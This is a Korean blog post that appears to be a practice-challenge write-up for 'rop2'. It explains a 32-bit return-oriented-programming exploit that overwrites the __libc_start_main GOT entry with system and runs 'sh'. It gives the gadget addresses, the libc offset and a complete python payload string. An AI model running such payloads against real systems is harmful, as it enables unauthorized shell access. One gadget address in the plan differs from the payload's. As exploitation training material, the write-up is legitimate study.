본문 바로가기
시스템 해킹/cykor

ROP2

by sonysame 2016. 11. 17.

rop2

이를 이용해  system("sh")로 쉘 얻기!!


일단, memory leak을 해야 한다.




__libc_start_main : 0xb7e1c500

__libc_system     : 0xb7e3e850


offset: 0xb7e3e850-0xb7e1c500=0x22350



0x80482c0은 __libc_start_main의 plt

0x804a00c는 __libc_start_main의 got

0xb7e1c500은 실함수


0x80482c0와 0x804a00c는 바뀌지 않지만, 0xb7e1c500은 바뀐다.

0x804a00c에 있는 어떤 값 x에 offset을 더하면 __libc_system주소가 됩니다!!


system함수의 인자 sh를 만들어야 한다.

bss 부분에 넣자


0x804a018은 IDA에서 보면 알 수 있듯이 write할 수 있는 부분이고,

gdb로 확인했을 때, 모두 0으로 되어있음을 알 수 있다.


0x804a018에 s를 0x804a019에 h를 넣자.



ROPgadget을 이용하면 우리가 이용할만한 gadget을 볼 수 있다.


gadget1: 0x080483db add [ebx], eax ; retn


gadget2: 0x080483de mov eax, ebx ; ret


0x080482ad : pop ebx ; ret


우리가 이용할 gadget이다.



0xbffff46c에 들어간 값에서 ret이 이루어지므로,

0xbffff46c-0xbffff368=260

260개는 아무거나 채우고, 그 다음 4byte로 프로그램의 흐름을 바꿀 수 있다.

A*260+

0x0804a018에 s넣기: 0x080482ad+0x73(s)+0x080483de+0x080482ad+0x0804a018+0x080483db+

0x0804a019에 h넣기: 0x080482ad+0x68(h)+0x080483de+0x080482ad+0x0804a019+0x080483db+

__libc_start_main할때 __libc_system실행될 수 있도록 메모리 릭: 0x080482ad+0x22350(offset)+0x080484de+0x080482ad+0x0804a00c+0x080483db+

__libc_system 이용 0x080482c0(plt)+"BBBB"+0x0804a018(system함수 인자)


r < <(python -c 'print "A"*260+"\xad\x82\x04\x08"+"\x73\x00\x00\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x18\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xad\x82\x04\x08"+"\x68\x00\x00\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x19\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xad\x82\x04\x08"+"\x50\x23\x02\x00"+"\xde\x83\x04\x08"+"\xad\x82\x04\x08"+"\x0c\xa0\x04\x08"+"\xdb\x83\x04\x08"+"\xc0\x82\x04\x08"+"BBBB"+"\x18\xa0\x04\x08"')



쉘이 따진다!!


cf

MOV EAX, EBX   의 경우 EBX 레지스터를 EAX에 대입한다.

MOV EAX, [EBX] 로 표현되어 있는 경우에는 EBX가 가리키는 값을 EAX에 대입한다.


add [ebx], eax: eax를 ebx에 적힌 값에 더한다.


'시스템 해킹 > cykor' 카테고리의 다른 글

chal2  (0) 2016.12.31
chal1  (0) 2016.12.29
HEAP  (0) 2016.12.24
ssp  (0) 2016.12.14
ROP1  (0) 2016.11.11